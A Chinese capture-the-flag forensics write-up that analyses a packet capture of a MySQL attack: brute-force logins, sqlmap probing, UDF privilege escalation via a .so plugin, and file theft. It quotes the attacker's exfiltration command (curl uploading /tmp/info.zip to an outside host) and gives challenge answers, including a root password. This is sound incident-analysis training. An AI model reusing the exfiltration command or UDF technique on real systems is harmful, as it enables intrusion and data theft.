问题:
- 攻击者登录Mysql失败多少次?提交答案例如:123
- 攻击者执行的第一个命令返回的结果是什么?提交的字符串例如:www-data
- 攻击者通过UDF提权的方式上传了一个插件,提交该插件的小写md5值。
- 该插件被写入到什么位置?提交答案例如:/usr/lib/mysql.elf
- 攻击者窃取了哪些文件?提交的文件名称全小写,并根据小写字母的顺序进行提交,例如:aa.txt-ab.txt-cc.txt
- 攻击者得知数据库中第一个用户的登录密码为?提交密码字符串。
1.攻击者登录Mysql失败多少次
使用mysql.error_code== 1045,如果忘记了这个命令可以先mysql.查看
然后看右下角显示140次
2.攻击者执行的第一个命令返回的结果是什么
我们可以利用上题发现的ip信息,来进一步过滤来追踪攻击者,要知道攻击者执行的第一个命令返回的结果是什么,那我们就得过滤1045的登录失败流量信息,先大体扫一遍,发现只有mysql是返回正常的
再过滤mysql
随便找一个Response ok的包,追踪tcp
发现SELECT DATABASE(),那么可以肯定的是,这个攻击者拿sqlmap扫了
再下一步查找的时候,发现很可疑的sys_eval,去解一下,发现执行了hostname -l,且回显ip
3.攻击者通过UDF提权的方式上传了一个插件,提交该插件的小写md5值
UDF提权关注.so文件,一搜索就知道了该文件名称libsdhke.so,再去一些在线加密的网站即可
4.该插件被写入到什么位置?
UDF提权的核心在于通过MySQL加载自定义的动态链接库(如 .dll 或 .so 文件),这些库中包含可以执行系统命令的函数。攻击者通过在MySQL中注册这些函数,然后调用它们来执行系统命令
那么就得关注那些 .so 文件或者 .dll 了
一搜就知道位置了
5.攻击者窃取了哪些文件?提交的文件名称全小写,并根据小写字母的顺序进行提交
再继续下滑的时候,分析此处,发现一个/tmp/info.zip 文件被创建,且包含 VPNUser 目录及其内容
继续分析
再此处,发现了一个文件上传的操作
操作如下
curl -F "file=@/tmp/info.zip" http://x.x.x.x:8831/
那么就可以确定,此处毫无疑问就是有问题的
6.攻击者得知数据库中第一个用户的登录密码
在这里我们可以知道攻击者找到了root用户,继续利用root分析
在此处已经登录上了root账号,那么得知密码一定在此处流量的上处
发现只有开头处的那一大串最可疑,对此处分析,发现包含了MySQL 连接信息和用户认证数据的日志。这段日志显示了 root 用户的认证方式和一些客户端连接的详细信息:
- MySQL 版本
5.6.7-rc
这是 MySQL 的版本号,表示当前运行的 MySQL 版本是 5.6.7 - 用户认证信息
root…Q…T.qt.8]g.mysql.mysql_native_password
用户名是 root。
认证方式是 mysql_native_password,查询后得知,这是 MySQL 默认的密码哈希算法。 - 密码应该是
!Sq9O0Bm&b"p. - 客户端连接信息
_client_name.pymysql._pid.14934._client_version.1.0.2
这部分内容表明:
客户端名称是 pymysql,这是一个 Python 的 MySQL 客户端库。
客户端进程 ID 是 14934。
客户端版本是 1.0.2。
小补充
在这里感谢小破站的清风拂月师傅分析的该流量包